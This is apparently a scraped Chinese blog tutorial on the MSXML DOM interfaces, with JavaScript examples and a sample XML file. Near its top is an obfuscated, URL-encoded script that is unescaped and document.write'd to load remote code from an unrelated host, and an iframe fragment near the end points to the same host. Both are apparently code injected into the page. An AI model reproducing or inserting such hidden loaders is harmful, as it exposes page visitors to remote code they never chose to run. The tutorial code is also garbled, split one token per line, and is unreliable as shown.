DOM对象简单使用

 

HTML Tags and JavaScript tutorial


<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
DOM对象简单使用




很久没有真正的写东西了..忙着找工作..现在工作有个着落了..又有心思研究.学习新的东西了
这篇为以后学ajax打基础的
生成DOM文档对象的方法
var xmlDoc=new ActiveXObject("Msxml2.DOMDocument.4.0");
  生成XML文档对象xmlDoc,xmlDoc中包含XML文档中所有元素和节点
 xmlDoc.async=false;
装载XML文档完毕后才开始处理下一步骤
xmlDoc.load("1.xml");
将XML文档装载到文档对象中,在内存中形成文档对象树
DOM对象
1.IXMLDOMDocument/DOMDocument
2.IXMLDOMNode
3.IXMLDOMNodeList
4.IXMLDOMParseError
5.IXMLDOMAttribute
6.IXMLDOMDocumentType
1.IXMLDOMDocument/DOMDocument
表示DOM树的最顶层节点
属性
async--是否可以异步下载(可读写属性)
attributes--返回节点的属性列表
baseName--返回节点的标记名称
childNodes--子节点列表
documentElement--返回文档的根元素(可读写属性)
方法
appendChild(在当前节点的最后增加一个新的子节点)
createNode(根据条件生成一个新节点)
createnode(type,name,namespaceURL)
IXMLDOMDocument
/
DOMDocument示例


var

 oNodeMap,str,oList,item;
        

var

 xmlDoc

=

new

 ActiveXObject(

"

Msxml2.DOMDocument.4.0

"

);
        xmlDoc.async

=

false

;
        xmlDoc.load(

"

candidate.xml

"

);
        

if

(xmlDoc.parseError

!=

0

)
            document.writeln(xmlDoc.parseError.reason

+

"

<br>

"

);
        

else


        


{
            oNodeMap

=

xmlDoc.documentElement.attributes;
            document.write(oNodeMap.length

+

"

<br>

"

);
        str

=

xmlDoc.documentElement.childNodes[

1

].baseName;
            document.write(str

+

"

<br>

"

);
            oList

=

xmlDoc.documentElement.childNodes;
            

for

(

var

 i

=

0

;i

<

oList.length;i

++

)
                document.write(oList[i].xml

+

"

<br>

"

);
        }




<

script language

=

"

javascript

"

>

        

var

 xmlDoc

=

new

 ActiveXObject(

"

Msxml2.DOMDocument.4.0

"

);
        xmlDoc.async

=

false

;
        xmlDoc.load(

"

candidate.xml

"

);
        

var

 root

=

xmlDoc.documentElement;
        document.write(root.xml);
        document.write(

"

<br>--------------------------<br>

"

);
        

var

 node

=

xmlDoc.createNode(

1

,

"

创建节点

"

,

""

);
        node.text

=

"

这是新创建得节点

"

;
        root.appendChild(node);
        window.alert(root.xml);
        document.write(root.xml);
    

</

script

>

IXMLDOMNode

属性

lastChild--返回最后一个子节点
nextSibling--指向同一层的下一个兄弟节点
xml--用XML格式表现该节点和所有子节点的内容
方法
selectNodes--根据匹配模式操作来返回符合要求的节点集合
selectSingleNode--根据匹配模式操作来返回符合要求的第一个节点
IXMLDOMNode是DOM的基本对象,所有节点都可以看作是一个IXMLDOMNode对象,所有其它DOM对象接口都是继承它的属性和方法。

<

html

>

   

<

body

>


      

<

script 

language

="javascript"

>


        

var

 xmlDoc

=

new

 ActiveXObject(

"

Msxml2.DOMDocument.4.0

"

);
        xmlDoc.async

=

false

;
        xmlDoc.load(

"

candidate.xml

"

);
        

var

 root

=

xmlDoc.documentElement;
        

var

 node

=

root.lastChild;
        window.alert(node.xml);
        

var

 firstNode

=

root.childNodes[

0

];
        

var

 nextNode

=

firstNode.nextSibling;
        window.alert(nextNode.xml);
    

</

script

>

   

</

body

>


</

html

>



<

html

>

   

<

body

>


      

<

script 

language

="javascript"

>


        

var

 xmlDoc

=

new

 ActiveXObject(

"

Msxml2.DOMDocument.4.0

"

);
        xmlDoc.async

=

false

;
        xmlDoc.load(

"

candidate.xml

"

);
        

var

 root

=

xmlDoc.documentElement;
        

var

 node

=

root.selectNodes(

"

PERSON/NAME

"

);
        window.alert(node.length);
    

</

script

>

   

</

body

>


</

html

>

IXMLDOMNodeList
属性

length--接口对象中包含的节点数量。
方法
nextNode--返回节点集合中下一个节点。
节点的集合
IXMLDOMParseError
属性
line--错误所在行号
linepos--错误在行中的位置
reason--发生错误的原因
srcText--错误行文本
用此接口捕获XML文档中存在的错误(包括XML结构完整错误及有效性错误)
IXMLDOMParseError示例

<

html

>

   

<

body

>


      

<

script 

language

="javascript"

>


        

var

 xmlDoc

=

new

 ActiveXObject(

"

Msxml2.DOMDocument.4.0

"

);
        xmlDoc.async

=

false

;
        xmlDoc.load(

"

errorxml.xml

"

);
        

if

(xmlDoc.parseError.errorCode

!=

0

)
        


{
    document.writeln(

"

错误所在的行号:

"

 

+

 xmlDoc.parseError.line 

+

 

"

<br>

"

);
    document.writeln(

"

错误所在的列号:

"

 

+

 xmlDoc.parseError.linepos 

+

 

"

<br>

"

);
    document.writeln(

"

错误原因:

"

 

+

 xmlDoc.parseError.reason 

+

 

"

<br>

"

);
    document.writeln(

"

错误行文本:

"

 

+

 xmlDoc.parseError.srcText 

+

 

"

<br>

"

);
        }

    

</

script

>

   

</

body

>


</

html

>


IXMLDOMAttribute

表示元素的相关属性
属性
nodeType--返回节点类型
ownerDocument--返回该节点的根节点
text--返回节点的文本和子节点树
value--返回属性的值
xml--返回当前节点及其所有子节点的内容
方法
appendChild
selectSingleNode
IDOMAttribute示例
<
html
>
<
body
>
   
<
script 
language
="javascript"
>
        
var
 xmlDoc
=
new
 ActiveXObject(
"
Msxml2.DOMDocument.4.0
"
);
        xmlDoc.async
=
false
;
        xmlDoc.load(
"
candidate.xml
"
);
        
var
 node
=
xmlDoc.documentElement.childNodes[
0
];
document.write(
"
节点类型:
"
+
node.nodeType
+
"
<br>
"
);
document.write(
"
根元素节点名称:
"
 
+
node.ownerDocument.documentElement.tagName 
+
 
"
<br>
"
);
document.write (
"
当前节点的属性值:
"
 
+
 node.attributes[
0
].value 
+
 
"
<br>
"
);
document.write(
"
当前节点及其子节点所包含的文本:
"
 
+
 node.text 
+
 
"
<br>
"
);
    
</
script
>
 
</
body
>
</
html
>
IXMLDOMDocumentType
属性
entities--返回实体集,包括内部和外部DTD定义的
name--返回文档类型的名字
nodeTypeString--返回节点类型的字符串表示
方法
removeChild--从返回的子节点集中删除特定子节点,并返回它
replaceChild--从返回的子节点集中用新节点替换特定老节点
IXMLDOMDocumentType示例
<
html
>
    
<
body
>
    
<
script 
language
="javascript"
>
        
var
 xmlDoc
=
new
 ActiveXObject(
"
Msxml2.DOMDocument.4.0
"
);
        xmlDoc.async
=
false
;
        xmlDoc.load(
"
candidate.xml
"
);
        
var
 root
=
xmlDoc.documentElement;
        
var
 node
=
root.childNodes[
1
];
        window.alert(
"
当前节点的类型为:
"
 
+
 node.childNodes[
0
].nodeTypeString);
        
var
 element
=
xmlDoc.createElement(
"
Resume
"
);
        element.text
=
"
添加的新元素
"
;
        root.childNodes[
1
].replaceChild(element,node.childNodes[
0
]);
        window.alert(node.xml);
    
</
script
>
   
</
body
>
</
html
>
上示例用到的XML文件
<?
xml version="1.0"
?>
<
PEOPLE  
id
="fdsfsd"
  ds
="sdfsd"
>
    
<
PERSON 
PERSONID
="E01"
>
        
<
NAME
>
Tony Blair
</
NAME
>
        
<
ADDRESS
>
10 Downing Street, London, UK
</
ADDRESS
>
        
<
TEL
>
(061) 98765
</
TEL
><
FAX
>
(061) 98765
</
FAX
>
        
<
EMAIL
>
blair@everywhere.com
</
EMAIL
>
    
</
PERSON
>
    
<
PERSON 
PERSONID
="E02"
>
        
<
NAME
>
Bill Clinton
</
NAME
>
        
<
ADDRESS
>
White House, USA
</
ADDRESS
>
        
<
TEL
>
(001) 6400 98765
</
TEL
><
FAX
>
(001) 6400 98765
</
FAX
>
        
<
EMAIL
>
bill@everywhere.com
</
EMAIL
>
    
</
PERSON
>
    
<
PERSON 
PERSONID
="E03"
>
        
<
NAME
>
Tom Cruise
</
NAME
>
        
<
ADDRESS
>
57 Jumbo Street, New York, USA
</
ADDRESS
>
        
<
TEL
>
(001) 4500 67859
</
TEL
><
FAX
>
(001) 4500 67859
</
FAX
>
        
<
EMAIL
>
cruise@everywhere.com
</
EMAIL
>
    
</
PERSON
>
    
<
PERSON 
PERSONID
="E04"
>
        
<
NAME
>
Linda Goodman
</
NAME
>
        
<
ADDRESS
>
78 Crax Lane, London, UK
</
ADDRESS
>
        
<
TEL
>
(061) 54 56789
</
TEL
><
FAX
>
(061) 54 56789
</
FAX
>
        
<
EMAIL
>
linda@everywhere.com
</
EMAIL
>
    
</
PERSON
>
</
PEOPLE
>
     
 

src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值